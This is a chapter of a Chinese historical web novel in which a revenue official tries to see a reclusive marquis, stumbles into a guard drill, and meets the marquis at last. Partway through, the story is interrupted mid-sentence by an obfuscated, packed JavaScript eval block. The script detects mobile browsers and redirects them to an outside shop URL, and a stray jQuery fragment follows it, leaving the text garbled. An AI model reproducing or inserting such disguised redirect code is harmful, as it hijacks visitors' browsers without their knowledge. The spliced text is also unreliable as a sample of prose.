咣当震响,户部的杜仲双手振袖,将茶盏重重搁在案上,瓷器发出觳觫嗡鸣,声声入耳。
“难道乡君真的以为你能够代替萧侯发号施令,还是替萧侯上阵杀敌?为何不准我面见于他?”
一声极力克制的质问回荡着,彻底掩盖掉茶盏碰撞的尖响,积压已久的怒意从杜仲齿缝里逃逸而出,他又极快地阖上双唇,仿佛意识到言辞的不妥。
至少这些话不能当面道来。
但杜仲的怒气已在层层累积中不可避免地喷发而出,直截了当地问向这一位全天下对萧偃状态心知肚明之人。
李宴方为何多番阻拦他这一位朝廷命官?!
京城内的风风雨雨他早有耳闻,萧偃生死安危成谜,前些时日李宴方被画屏猛虎吓得失魂落魄,更有传言大猎当日之事血腥恐怖,李宴方虽侥幸留下一条命,可心神已损。
那拼命护卫她的萧偃又岂能全身而退?
甚嚣尘上的流言对萧偃极为不利,但恰在此时,一道平戎策从侯府送到太后面前,太后召来兵部、户部等官员商讨此举的可行性。
户部需筹备粮草,杜仲亦在受召之列,只不过他不曾想到会接下这一趟差事。
平戎策论述周全,攻略出其不意,非常吻合萧偃的作风,这一道平戎策像是在沸沸扬扬的流言中证明他本人无碍。
但既然本人无碍,为何不出府门?
太后因此派杜仲前来试探虚实,杜仲不仅要给太后交代,还要给关心政事的群臣百姓们交代。
萧偃是否当真无恙?
那些流言是否能不攻自破?
此事并非良差!
杜仲午时前来,正是用膳之时,侯府之内无人前来侍奉,主人也未曾相迎,竟然就将他撂在此处,这已让他极为不满。
难道真如某个传言,这一道平戎策并非萧偃手写,而是某人代笔呈之?
而侯府之中正在千方百计制造假象试图让他相信,所以久久无人前来接见?
如今李宴方三番四次阻拦自己面见萧偃,已让杜仲心中的猜测愈发清晰,心头沉重。
李宴方能书擅画,颇具才名,会不会她仿照笔迹,故意抛出平戎策,达到掩盖某个真相的目的?
那可是欺君之罪啊!
杜仲抬起头直视稳坐于上首的女子,那女子一派光明磊落、端正大方,任由他打量揣测。
而风雨不动的李宴方终开金口,给杜仲的怒问一个挑衅之意尤为明显的答复。
“我已与杜大人讲明,我阿弟过去身受重伤,更是在山中硬撑一宿,归家之后发热昏迷数日,好不容易从鬼门关前捡回一条命,如今尚在静养之中,不可打扰,但杜大人大有一探究竟的意思,不知是受谁的命?”
是谁?还是谁想借着杜仲这一把刀杀一杀这一片迷障?
杜仲瞳孔骤缩,心底寒凉,李宴方竟然敢直言至此,将近月以来朝野上下暗中浮动的疑云瞬间挑明!
她是在怀疑太后,还是在怀疑杜仲的忠诚?
杜仲心知已经在盛怒之时彻底得罪过她,干脆一不做二不休,底气十足道。
“平戎策呈上之后,太后陛下甚为重视,召集臣工商讨,而对平戎策最为了如指掌的自然是萧侯本人,此番我受皇命而来,是要与萧侯商议细节,乡君何必胡乱猜测,血口喷人!”
然而就算他是奉命行之,可定会有许多人借着他撕开一道缺口,一探侯府究竟,这一点杜仲亦是心知肚明,局势越乱,他就只能越抱紧太后这棵大树,尽忠心,办妥事。
李宴方见他搬出太后来,目光掠过杜仲那张写着不满愠怒的脸,慢声道:“承蒙太后垂怜,早在月前太后遣御医、赐良药,对我阿弟关怀备至。”
上首的女子冷眉寒瞳,朝杜仲望来时,他竟突觉这暑天里有一丝刺骨的凉意,李宴方言下之意便是指:太后对萧偃伤情一清二楚,又怎么会再派人前来硬闯逼问?
可那质问又似杜仲错觉,李宴方下一句已经传入他耳畔:“可我阿弟最近心绪不佳,不愿见人,连我也不常与他碰面,杜大人若是执意前往……”
她的停顿让杜仲燃起一星希望,她的坚持已经裂出一道缺口。
李宴方唇角微微勾起,转瞬了无痕迹,就似水中月影,随着涟漪潋滟漾入幽暗。
“只怕要吃些苦头。”
她的下半句话终于落地,杜仲心头骤紧,她果然是有备而来,可人已经得罪,且她好不容易开了口,就是龙潭虎穴他也要闯了!
杜仲眯起眼道:“奉命而来,为国行事,岂有退却之理?”
“大人何必一副英勇就义的模样?只是他要不要见你,我可不能替你做担保,恕不奉陪。”
李宴方轻笑,抬起手示意杜仲前往西院。
*
虽时值午后,热浪翻腾,但杜仲越靠近西院,越能感受到一股凉意。
据说今夏侯府购置不少冰块,引起一些无端的猜测……杜仲边走边想,心里不由得跟着冷了几分。
引路的下人不见踪迹,他独自一人行走于陌生而宏阔的庭院内,日光投射下,阴影将目之所及的景象切割,徒然生出阴森诡异之感。
杜仲心头的畏惧叫他的步伐渐渐迟疑,心想,这趟差事真不该只派自己一人前来。
正是杜仲思索犹豫之际,房檐之上传来响动。
他警觉抬头,几道人影从房上掠下,无声地踏碎檐下阴影,手持地刀刃卷起疾风,在破碎的影子内挑起雪亮一线。
杜仲在极度惊吓之中将“有刺客”三字脱口而出,惊破庭院内的寂静。
那惊喊声分明刺耳,但几道人影只作不闻,落地之后立刻调整队形,呈集结之势,有序地在庭院内开启搜索。
不过转瞬,另一队人马不知从何处现身而出,同样亮出兵刃。
两方人马就此短兵相接,进攻与防守间,利刃切割光影,紧张危险气息弥漫其间。
杜仲两股战战,后退靠墙,寻觅着出逃的安全方向。
可刀剑不长眼,激烈的厮杀像是无法控制的深秋野火,燎烧着干燥的原野,卷起漫天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036430|190369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑雾。
火势凶猛,往杜仲这边烧来了!
利器相交的尖锐震音在他的耳畔炸响,他已能清晰地瞧见刀身上经过千锤百炼而留下的纹路,太近了。
“救命,救命啊!有没有人啊!”
极度的惊慌恐惧之下,杜仲沙哑地喊着,焦急,绝望。
打斗之人自他头顶飞掠而过,将他束得整整齐齐的发打落,发冠落地,骨碌碌滚得不知所踪。
他双腿发软,整个人无力委地,连滚带爬地朝不远处的月洞门跑去,试图远离这一场纷争。
紧凑尖锐的钢铁相击声织成捕鱼的网,笼住杜仲这条失魂落魄、慌不择路的大鱼,他无论游得多快,都无法冲破这一张无处不在的密网。
可奔逃的鱼不会大口喘气,只有误入杀阵的杜仲才会气喘吁吁地懊悔为什么接了这趟苦差事,难道自己运气真的差到一定的地步,在探视萧偃时遇刺身亡?
绝望像暴雨下上涨的江水,从心底漫上来,过了胸膛,接近咽喉,灌入口腔,让他逐渐体会到濒死的窒息。
像困在网中的鱼被拉出水面,天光直泻,杜仲深思恍然。
这里是府内的校场,他抬头望去,午后灼目炎热的光投来,不由得眯起双眼。
在杜仲闭目之前,校场模糊的景象己在心头留下印迹。
在校场边阴凉的亭台下,似乎有一张靠椅,其上一人闲适自在地倚靠。
只是人处于背光之处,且此时的光线尤为强烈刺目,他根本无法确定那人面貌。
杜仲阖上双眼的那一瞬间,亭下的萧偃挥挥手,身后的打斗之声瞬间烟消云散,随即响起的是急切密集的步伐,规整,划一。
身后响起紫电的斥责:“今日的刺杀与反制的演练效果不佳。为何见杜大人前来,不曾避让,反倒叫大人受惊!下去领罚!”
“是。”十余人不敢有异,应答而退。
紫电快步上前扶起杜仲,满怀歉意地道:“杜大人可还好?主子自从大猎遇袭,伤情稳定之后一直在训练亲卫,防止重蹈覆辙,只是今日一时不慎,吓到了大人,还望大人见谅。”
惊魂未定的杜仲思绪变得迟钝,毫无质疑地接受了这一番有条有理的解释,心叹只要小命安然无恙,便是幸事一桩。
他抬头望去,安坐的人藏身于亭下阴影中,仍是不见真容。
那人不可抑制地咳嗽几声,吸入肺腑的气成了刺入的针,叫他痛苦万分。
萧侯果然并未痊愈,那一场大猎对他确有打击,杜仲已经探明消息。
“杜大人前来,不曾远迎,是我失礼了,不知杜大人想问什么,容我一猜,是否是已经确定出征,要与我商议粮草之事?”
一场大战,什么时节,如何整调军队,确定那一套战略,粮草辎重要如何准备……每一项都是大事。
大事不会在一夕之间就确定,萧偃深知杜仲是借粮草之事来试探虚实,他可不能让杜仲轻易得逞啊,得把他打发走。
日光仍烈,足以照得腿软不前的杜仲睁不开眼。